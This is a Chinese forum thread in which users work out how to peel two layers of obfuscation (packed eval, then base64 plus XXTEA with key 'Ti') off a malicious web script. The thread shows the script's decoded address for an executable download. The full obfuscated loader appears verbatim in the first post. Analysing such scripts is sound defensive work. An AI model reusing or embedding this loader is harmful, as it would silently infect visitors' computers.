1   1  /  1  页   跳转

[讨论] alert 二次解密???

alert 二次解密???

代码如下:

<script language =javascript>
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('J Y(d){b a,i,f,c;b M,O;a=[];f=d.r;i=0;C(i<f){c=d.g(i++);3P(c>>4){h 0:h 1:h 2:h 3:h 4:h 5:h 6:h 7:a[a.r]=d.1t(i-1);B;h 12:h 13:M=d.g(i++);a[a.r]=F.E(((c&1u)<<6)|(M&U));B;h 14:M=d.g(i++);O=d.g(i++);a[a.r]=F.E(((c&1H)<<12)|((M&U)<<6)|((O&U)<<0));B}}l a.R(\'\')}b L=1B 1r(-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,1D,-1,-1,-1,1I,Z,1o,1f,1g,1h,1j,2h,2g,2d,S,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,1W,1V,1U,1X,1Y,2a,1Z,1T,1S,1M,1L,1K,-1,-1,-1,-1,-1);J 1b(d){b I,G,m,x;b i,f,a;f=d.r;i=0;a="";C(i<f){N{I=L[d.g(i++)&u]}C(i<f&&I==-1);o(I==-1)B;N{G=L[d.g(i++)&u]}C(i<f&&G==-1);o(G==-1)B;a+=F.E((I<<2)|((G&1N)>>4));N{m=d.g(i++)&u;o(m==S)l a;m=L[m]}C(i<f&&m==-1);o(m==-1)B;a+=F.E(((G&1O)<<4)|((m&1R)>>2));N{x=d.g(i++)&u;o(x==S)l a;x=L[x]}C(i<f&&x==-1);o(x==-1)B;a+=F.E(((m&2n)<<6)|x)}l a}J W(v,w){b T=v.r;b X=v[T-1]&K;P(b i=0;i<T;i++){v=F.E(v&u,v>>>8&u,v>>>16&u,v>>>24&u)}o(w){l v.R(\'\').2k(0,X)}2f{l v.R(\'\')}}J Q(s,w){b f=s.r;b v=[];P(b i=0;i<f;i+=4){v[i>>2]=s.g(i)|s.g(i+1)<<8|s.g(i+2)<<16|s.g(i+3)<<24}o(w){v[v.r]=f}l v}J 1a(d,1c){o(d==""){l""}b v=Q(d,1d);b k=Q(1c,1d);b n=v.r-1;b z=v[n-1],y=v[0],V=1m;b H,e,q=1n.1p(6+Z/(n+1)),A=q*V&K;C(A!=0){e=A>>>2&3;P(b p=n;p>0;p--){z=v[p-1];H=(z>>>5^y<<2)+(y>>>3^z<<4)^(A^y)+(k[p&3^e]^z);y=v[p]=v[p]-H&K}z=v[n];H=(z>>>5^y<<2)+(y>>>3^z<<4)^(A^y)+(k[p&3^e]^z);y=v[0]=v[0]-H&K;A=A-V&K}l W(v,1s)}t="1v+1w+1y+1x+2j/2I+3v+3u+3t+3w/3x+3A+3z/3y/+3s+3r+t/3l+3k+3j+3i+3m/3n+3q/3p/3C+3B+3F+3O/3L/3M+k+3R+3Q+3N/3J/3E+3D+3K/3G+/3I/3H/3o/3g+2H/2G/3h/2F+2J/2M/2L+2K/2E+2D+2x+2w/2v+2y+2z+2C+/2B+2A+2N/2O+3b+3a/2Z+3c+3d+3f+3e+2Y/2X+2R/2Q++2P+2S+2T/2W/2V+2U/1q+2u/D/1A+1G/j/+1i/1e+1k+1l+/1C/2t//2i+1J+c+2e+2l+2r+2s+2q+2p+2m/2o+2c+2b+1P+1Q==";t=Y(1a(1b(t),\'1E\'));1F.1z(t);',62,240,'||||||||||out|var||str||len|charCodeAt|case||||return|c3||if|||length|||0xff|||c4|||sum|break|while||fromCharCode|String|c2|mx|c1|function|0xffffffff|base64DecodeChars|char2|do|char3|for|str2long|join|61|vl|0x3F|delta|long2str|sl|utf8to16|52|||||||||||xxtea_decrypt|base64decode|key|false|QTuzb89Sx|54|55|56|Xk|57|633M3pQIrSxqRYqOXotJkmC8wIBPsQ3JaRbcaKCd|HAlaqh4YKQQeaoq951kAQ|0x9E3779B9|Math|53|floor|oze7LZ|Array|true|charAt|0x1F|Ulmyx6ay2z72bqFan9DteowObHeJjIIIxY4UlNZwEMVj|SBierz6la297oTv07J9Unqiqi6lUjUfOZqX|LmSena|hpKoqIK1oIo6r6U3zYMO|write|AbHt39gxrJExhdw05P|new|6uiAwE0VR7ioUsxHYPjdeKIjyZrPpbtLKFhkDNARHxwS6SswDgqYoUP|62|Ti|document|Rls0fJGOanCQ5|0x0F|63|WOTZ|51|50|49|0x30|0XF|Pv3DmAV8xZ0qB8KOJvAQvblwApliO|YSK1yJNp6LKfEII7WJ05dqtz6Knpmi300KjDdL9WGBC8RFQu1w3vnj54punMMurC7fmewr1nxaO3JxaavinQKZwA|0x3C|48|47|42|41|40|43|44|46|||||||||||45|IZXpVIUQnNMpVFIWvYtCn|L7tXaF1|60|rO6SHASuPsuh9UibyAqiDDyigbUQZyTtPWFo61MBwQ2lsBR2OJtrD|else|59|58|uezgUwuAb|3fG6TBXecOEVU1adJpi7BsC4D0V0yQxApjMxazjBUB79|substring|q83ZO5iHAqEd11Sm3Fdwf2GnUVl|9XhICtXJ0K62DEyCorPmlxd9PMsBCrWhm564dffCOykhhuvMJzyEBW9d8nhzcyAJzqDpSvp|0x03|zJTdsdNr9VcIMAKUH4Zifq9ehlGL5vysZWaouQgP5tEbdEtv7PGtiJENrzP7pN5lBJQ8I|7wTipcRQexgQqQBNmiiyS|dycHGtvWEU13CJNBvhVCZQwKl2kjGCNhLhMIFLR07hfeJZA|KUc0mPOEwIGKH8hFmt2dCSGpJmdYIkTa|btI9wENaXL543fQAwsJp24QFSg3OVOOG20HXhXzy7WuIOcbySIN|l27uvI6cW9|tWfEY5mjDFdOHCZMwHgTesSg2KGhik|rnegMdY5FG5ZY0sN5GaKxljkxyjOTwlaPtgC7xcbc2M73IuVXX2Y7P4bLl708A5XhanIHC|3Wf7DyD63vXZS6jJjLPv1ZjVjlNX|zDUfBUvkz7gccwhlpo8Ut18ZCQF0vwEI9E0SHpPef6N|1whoTehjgQS4rUKnHinmOVu5eMs5btJWW4okVoX6q|A3Qzaa6JhZ8sSxf1fCP3VlW4NMw|SN6yDcz6v8uKmqbuCFZY0FBcsdjJ5A3bfy06oVhq1G0fHurHQ9txFm5d8MlAK0Am|zP|Fd5GY5TSBhQFBHbsVkulP|XLOZuh1|N2DUoBpyxG5ALQZJQ0pjHsMmWo1bJ2ksJNDq3vF|0Yu1JQPNQPTNukcWHOUjyhABFiqLSVi9ExLyoQJCQnAVwc2bOgAh5mP9|vcmWhOepNEFvD60MXsu1M3|zdweKqozS9wiy85e1OPBkoz6j0GZd6Is5R0rQx7JI6DhuS5|tP6UWOr9FQmFiBAowHY0ZKZz3nf8ECrbVvaGWKxJSKG3udBL|GxuFWj7QMBSylDSYKsLv4|yOQA|KFID9vDYKDSGAcmgJtTO2hcOc0dfuxbhMPSfmYOt5iaTAvevNb0DQKN2IALjmfgQQZf2|7p|lNm|k13K8i8sE|k2ke|vsJjLQC|P8WkQi|TQX|fQ2tNNXlr652OGHxqIUsBrf5|ARsgfpY0uUmi8TLNKR3fFpTzAqT|VQhFZnjkHY4iRnVOcIN5|A5gLqCezqv8ej6xghhC78EdPw|87ejkARkzDk7Jf3PgvCz8FMImtZHTbpxOlbxnNFMnBcMKPENlC|JmgflF93b2D|EXnaSCMLv|||||||||||Q1VqKjSeWoZb6W3IobLI573Vbpz2TUHnnKNthEpdNIUex556BvaGl8sNHRXSoUlAwtwYP|LAaenVE3KLecRVH|LKwl6hZmzV70yr|f1Y1jRBtUC1CRByN|ikGZW0Whk1mfkDCMbgUg0n6dQgLbuogl4ryBJPdKy|ZMtTXlne8z8K5Egt0YPcRDLoTCDHixaBCkkWroNn6MwQgSlytfkByKdDU|ejm9BfvgnZXum7jc1AneCZCbRWSwIKF59cnBSKxHUNpE0uiZwQoxnBSYznEySiwIVbTMIC|LEKpyZ9mlgqjR1DoF9G3cpEsO1f|k1thKkS72MBK3|Eiqm70Ye42qAYI4b7sohtBYq7MhAdzGFygIrB|jMyn6idP7q|4CULQCWT6Y8pmxZCrWjGsu2Mjq1PzElMY5PKGsd0dXbPm|UVLvNTxWN|TUotsx7eIShvKDxeoMR8Q|IU|OGP5HcdrVUOSSB|mq540LKhmUoPgLy0oBuBjrc7Wz1ixAOutWO4dLZmEqW7zSGdOpLEaHjpcdAvXXOWp84tHoNCAUiXigFCjSXLBdOwkw3kGPsyl731MefSz5wbt67RZNl2D9Ou0MByaps8M641b|akaInqyhWgZjACFF2ARctr8mFMpxxd4TeBip4lv1n59sqnijIXkRjjFCRsFgBC9BigBd4joPtR4iaCE49a6HYUOTz|Ud0|X7yuXFp|Fgk7hN61|PLxj4EQZvC|GE0KHjYrkBKSE4RmiaDLBml3n|DZqjQfFnXozyLAkgbXauUEdY|KgoFhkAgi9UCr44oykWUZpmq|bs7zmNgAXgBdsRRBd6anCr|64gcIB9PY3kdJj|jvz5Gninq|eN|VV6LbPQfi7Th9MmrseHuu|xae8s4HE5PJBbRPSLuNYfz3vpb64y3o7BuHNVnW9Cb7MjCQsYbAJogaK04JdWSh6MyStpMvXPLpXlPCcW2sQrrgLe|oAhauYmlvotaWln7hEvXhQw9lcCIMD8F40GSe4iiiZMuPhzmFw53Wmiz6CV8nBOTt1PqCsHJBET3V2gTHCn9tRUgPwLpeHrTHgArw4gNsxqcCgLi0UXl7ZYzpaEklASJC5H0Z3FSIBairIOH0HsvCgAqSIblBtYWiaD0mP881e7TP1ljbhzCQHPUwft0PbWHfakdANK0LcyzP2v2bMHghoTnjQkTEC8HhisWU0jdGSrdnYiq|Kqai7AdBfoq65n6B9|BQ|f1eZeHKlQ4UwFIh4|jwlTwyeLcq6atohvVyOE55Dh9gulnnS7RerFkXjNCzXZlvJvqmptUchrI2YZc0p0sggeFYzXnspuGxYdjPqnIFlZ6zE0to7XPxAxPiybWF4F1O9ItkWOG|Dwfk5Vz4p1k3qoiLl8pM04AFn27Ec|kCus3PmplX9OiboQTFOYHflay32AWPQiGKT5T3vqoD|rxr6aBtlROWb|Mwmtz06zgGW|mlqeBKE10DrttC5XIvDQfxIMH1Q2c6MQe3xlk2vmZ4JGpVnewFKcdbcZASnuXvEJ|switch|hASoeTeNAwpGRS5Hbiz28Btc8hENsob|1D1r'.split('|'),0,{}))
</script>

2种办法:1.eval换为alert
                2.用p,a,c,k,e,d 专用工具来解

方法1:eval 改为 alert 保存代码为htm 运行之 代码就出来了

这是上面的代码解出后的!此代码有2层加密 所以下面还会alert一次!

---------------------------
Microsoft Internet Explorer
---------------------------
function utf8to16(str){var out,i,len,c;var char2,char3;out=[];len=str.length;i=0;while(i<len){c=str.charCodeAt(i++);switch(c>>4){case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:out[out.length]=str.charAt(i-1);break;case 12:case 13:char2=str.charCodeAt(i++);out[out.length]=String.fromCharCode(((c&0x1F)<<6)|(char2&0x3F));break;case 14:char2=str.charCodeAt(i++);char3=str.charCodeAt(i++);out[out.length]=String.fromCharCode(((c&0x0F)<<12)|((char2&0x3F)<<6)|((char3&0x3F)<<0));break}}return out.join('')}var base64DecodeChars=new Array(-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1);function base64decode(str){var c1,c2,c3,c4;var i,len,out;len=str.length;i=0;out="";while(i<len){do{c1=base64DecodeChars[str.charCodeAt(i++)&0xff]}while(i<len&&c1==-1);if(c1==-1)break;do{c2=base64DecodeChars[str.charCodeAt(i++)&0xff]}while(i<len&&c2==-1);if(c2==-1)break;out+=String.fromCharCode((c1<<2)|((c2&0x30)>>4));do{c3=str.charCodeAt(i++)&0xff;if(c3==61)return out;c3=base64DecodeChars[c3]}while(i<len&&c3==-1);if(c3==-1)break;out+=String.fromCharCode(((c2&0XF)<<4)|((c3&0x3C)>>2));do{c4=str.charCodeAt(i++)&0xff;if(c4==61)return out;c4=base64DecodeChars[c4]}while(i<len&&c4==-1);if(c4==-1)break;out+=String.fromCharCode(((c3&0x03)<<6)|c4)}return out}function long2str(v,w){var vl=v.length;var sl=v[vl-1]&0xffffffff;for(var i=0;i<vl;i++){v=String.fromCharCode(v&0xff,v>>>8&0xff,v>>>16&0xff,v>>>24&0xff)}if(w){return v.join('').substring(0,sl)}else{return v.join('')}}function str2long(s,w){var len=s.length;var v=[];for(var i=0;i<len;i+=4){v[i>>2]=s.charCodeAt(i)|s.charCodeAt(i+1)<<8|s.charCodeAt(i+2)<<16|s.charCodeAt(i+3)<<24}if(w){v[v.length]=len}return v}function xxtea_decrypt(str,key){if(str==""){return""}var v=str2long(str,false);var k=str2long(key,false);var n=v.length-1;var z=v[n-1],y=v[0],delta=0x9E3779B9;var mx,e,q=Math.floor(6+52/(n+1)),sum=q*delta&0xffffffff;while(sum!=0){e=sum>>>2&3;for(var p=n;p>0;p--){z=v[p-1];mx=(z>>>5^y<<2)+(y>>>3^z<<4)^(sum^y)+(k[p&3^e]^z);y=v[p]=v[p]-mx&0xffffffff}z=v[n];mx=(z>>>5^y<<2)+(y>>>3^z<<4)^(sum^y)+(k[p&3^e]^z);y=v[0]=v[0]-mx&0xffffffff;sum=sum-delta&0xffffffff}return long2str(v,true)}t="Ulmyx6ay2z72bqFan9DteowObHeJjIIIxY4UlNZwEMVj+SBierz6la297oTv07J9Unqiqi6lUjUfOZqX+hpKoqIK1oIo6r6U3zYMO+LmSena+3fG6TBXecOEVU1adJpi7BsC4D0V0yQxApjMxazjBUB79/tP6UWOr9FQmFiBAowHY0ZKZz3nf8ECrbVvaGWKxJSKG3udBL+PLxj4EQZvC+Fgk7hN61+X7yuXFp+GE0KHjYrkBKSE4RmiaDLBml3n/DZqjQfFnXozyLAkgbXauUEdY+64gcIB9PY3kdJj+bs7zmNgAXgBdsRRBd6anCr/KgoFhkAgi9UCr44oykWUZpmq/+Ud0+akaInqyhWgZjACFF2ARctr8mFMpxxd4TeBip4lv1n59sqnijIXkRjjFCRsFgBC9BigBd4joPtR4iaCE49a6HYUOTz+t/4CULQCWT6Y8pmxZCrWjGsu2Mjq1PzElMY5PKGsd0dXbPm+jMyn6idP7q+Eiqm70Ye42qAYI4b7sohtBYq7MhAdzGFygIrB+k1thKkS72MBK3+UVLvNTxWN/TUotsx7eIShvKDxeoMR8Q+mq540LKhmUoPgLy0oBuBjrc7Wz1ixAOutWO4dLZmEqW7zSGdOpLEaHjpcdAvXXOWp84tHoNCAUiXigFCjSXLBdOwkw3kGPsyl731MefSz5wbt67RZNl2D9Ou0MByaps8M641b/OGP5HcdrVUOSSB/eN+jvz5Gninq+oAhauYmlvotaWln7hEvXhQw9lcCIMD8F40GSe4iiiZMuPhzmFw53Wmiz6CV8nBOTt1PqCsHJBET3V2gTHCn9tRUgPwLpeHrTHgArw4gNsxqcCgLi0UXl7ZYzpaEklASJC5H0Z3FSIBairIOH0HsvCgAqSIblBtYWiaD0mP881e7TP1ljbhzCQHPUwft0PbWHfakdANK0LcyzP2v2bMHghoTnjQkTEC8HhisWU0jdGSrdnYiq+mlqeBKE10DrttC5XIvDQfxIMH1Q2c6MQe3xlk2vmZ4JGpVnewFKcdbcZASnuXvEJ/kCus3PmplX9OiboQTFOYHflay32AWPQiGKT5T3vqoD/rxr6aBtlROWb+k+1D1r+hASoeTeNAwpGRS5Hbiz28Btc8hENsob+Mwmtz06zgGW/jwlTwyeLcq6atohvVyOE55Dh9gulnnS7RerFkXjNCzXZlvJvqmptUchrI2YZc0p0sggeFYzXnspuGxYdjPqnIFlZ6zE0to7XPxAxPiybWF4F1O9ItkWOG/xae8s4HE5PJBbRPSLuNYfz3vpb64y3o7BuHNVnW9Cb7MjCQsYbAJogaK04JdWSh6MyStpMvXPLpXlPCcW2sQrrgLe+VV6LbPQfi7Th9MmrseHuu+Dwfk5Vz4p1k3qoiLl8pM04AFn27Ec/Kqai7AdBfoq65n6B9+/f1eZeHKlQ4UwFIh4/BQ/IU/ejm9BfvgnZXum7jc1AneCZCbRWSwIKF59cnBSKxHUNpE0uiZwQoxnBSYznEySiwIVbTMIC+zdweKqozS9wiy85e1OPBkoz6j0GZd6Is5R0rQx7JI6DhuS5/vcmWhOepNEFvD60MXsu1M3/LEKpyZ9mlgqjR1DoF9G3cpEsO1f/0Yu1JQPNQPTNukcWHOUjyhABFiqLSVi9ExLyoQJCQnAVwc2bOgAh5mP9+GxuFWj7QMBSylDSYKsLv4/7p/KFID9vDYKDSGAcmgJtTO2hcOc0dfuxbhMPSfmYOt5iaTAvevNb0DQKN2IALjmfgQQZf2+yOQA/N2DUoBpyxG5ALQZJQ0pjHsMmWo1bJ2ksJNDq3vF+XLOZuh1+zDUfBUvkz7gccwhlpo8Ut18ZCQF0vwEI9E0SHpPef6N+3Wf7DyD63vXZS6jJjLPv1ZjVjlNX/rnegMdY5FG5ZY0sN5GaKxljkxyjOTwlaPtgC7xcbc2M73IuVXX2Y7P4bLl708A5XhanIHC+1whoTehjgQS4rUKnHinmOVu5eMs5btJWW4okVoX6q+A3Qzaa6JhZ8sSxf1fCP3VlW4NMw+Fd5GY5TSBhQFBHbsVkulP+/zP+SN6yDcz6v8uKmqbuCFZY0FBcsdjJ5A3bfy06oVhq1G0fHurHQ9txFm5d8MlAK0Am+lNm/k13K8i8sE+LAaenVE3KLecRVH+Q1VqKjSeWoZb6W3IobLI573Vbpz2TUHnnKNthEpdNIUex556BvaGl8sNHRXSoUlAwtwYP/EXnaSCMLv+LKwl6hZmzV70yr+f1Y1jRBtUC1CRByN+ZMtTXlne8z8K5Egt0YPcRDLoTCDHixaBCkkWroNn6MwQgSlytfkByKdDU+ikGZW0Whk1mfkDCMbgUg0n6dQgLbuogl4ryBJPdKy+JmgflF93b2D/87ejkARkzDk7Jf3PgvCz8FMImtZHTbpxOlbxnNFMnBcMKPENlC+P8WkQi/vsJjLQC++k2ke+TQX+fQ2tNNXlr652OGHxqIUsBrf5/A5gLqCezqv8ej6xghhC78EdPw/VQhFZnjkHY4iRnVOcIN5+ARsgfpY0uUmi8TLNKR3fFpTzAqT/oze7LZ+tWfEY5mjDFdOHCZMwHgTesSg2KGhik/D/AbHt39gxrJExhdw05P+Rls0fJGOanCQ5/j/+Xk/QTuzb89Sx+633M3pQIrSxqRYqOXotJkmC8wIBPsQ3JaRbcaKCd+HAlaqh4YKQQeaoq951kAQ+/6uiAwE0VR7ioUsxHYPjdeKIjyZrPpbtLKFhkDNARHxwS6SswDgqYoUP/l27uvI6cW9//uezgUwuAb+WOTZ+c+rO6SHASuPsuh9UibyAqiDDyigbUQZyTtPWFo61MBwQ2lsBR2OJtrD+q83ZO5iHAqEd11Sm3Fdwf2GnUVl+KUc0mPOEwIGKH8hFmt2dCSGpJmdYIkTa+btI9wENaXL543fQAwsJp24QFSg3OVOOG20HXhXzy7WuIOcbySIN+dycHGtvWEU13CJNBvhVCZQwKl2kjGCNhLhMIFLR07hfeJZA+7wTipcRQexgQqQBNmiiyS+9XhICtXJ0K62DEyCorPmlxd9PMsBCrWhm564dffCOykhhuvMJzyEBW9d8nhzcyAJzqDpSvp/zJTdsdNr9VcIMAKUH4Zifq9ehlGL5vysZWaouQgP5tEbdEtv7PGtiJENrzP7pN5lBJQ8I+L7tXaF1+IZXpVIUQnNMpVFIWvYtCn+Pv3DmAV8xZ0qB8KOJvAQvblwApliO+YSK1yJNp6LKfEII7WJ05dqtz6Knpmi300KjDdL9WGBC8RFQu1w3vnj54punMMurC7fmewr1nxaO3JxaavinQKZwA==";t=utf8to16(xxtea_decrypt(base64decode(t),'Ti'));document.write(t);
---------------------------
确定
---------------------------
这是上页alert解码 弹出的窗口 代码在窗口中 点窗口 ctrl+C复制出来
还有1层加密 ,执行语句已经标出。 再来解1次吧。
document.write 改为 alert  别忘了加 前后的 开始标签和结束标签 <script language =javascript> </script>
解出地址为:hxxp://8nnnnn99.cn/9/ck.exe

这个相信大家都看了,我按照这个方法进行第二次alert ,没有解出来,方法提到的document.write 改为 alert  别忘了加 前后的 开始标签和结束标签 <script language =javascript> </script>。

我的方法:document.write(t);改成alert(t);然后加上<script language =javascript> </script>,没有弹出窗口。
也试其这几个方法,还是弹不出窗口中,就不能进行第次解密了。

请各位版式主牛人给个具体方法。。谢谢大家了。

用户系统信息:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; CIBA; 360SE)
分享到:
gototop
 

回复:alert 二次解密???

看前面这句t=utf8to16(xxtea_decrypt(base64decode(t),'Ti'));
应该是base64带Ti密钥的加密 用相应工具可以解出来
gototop
 

回复: alert 二次解密???



引用:
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


上面的那些放到redoce里,选“P0>PXXTEA解密”解密 参数Ti
gototop
 

回复:alert 二次解密???

backway,你的经验很丰富啊,一眼看出就要解这段码,
有点不明白,PXXTEA的特征和特点。
gototop
 
1   1  /  1  页   跳转
页面顶部
Powered by Discuz!NT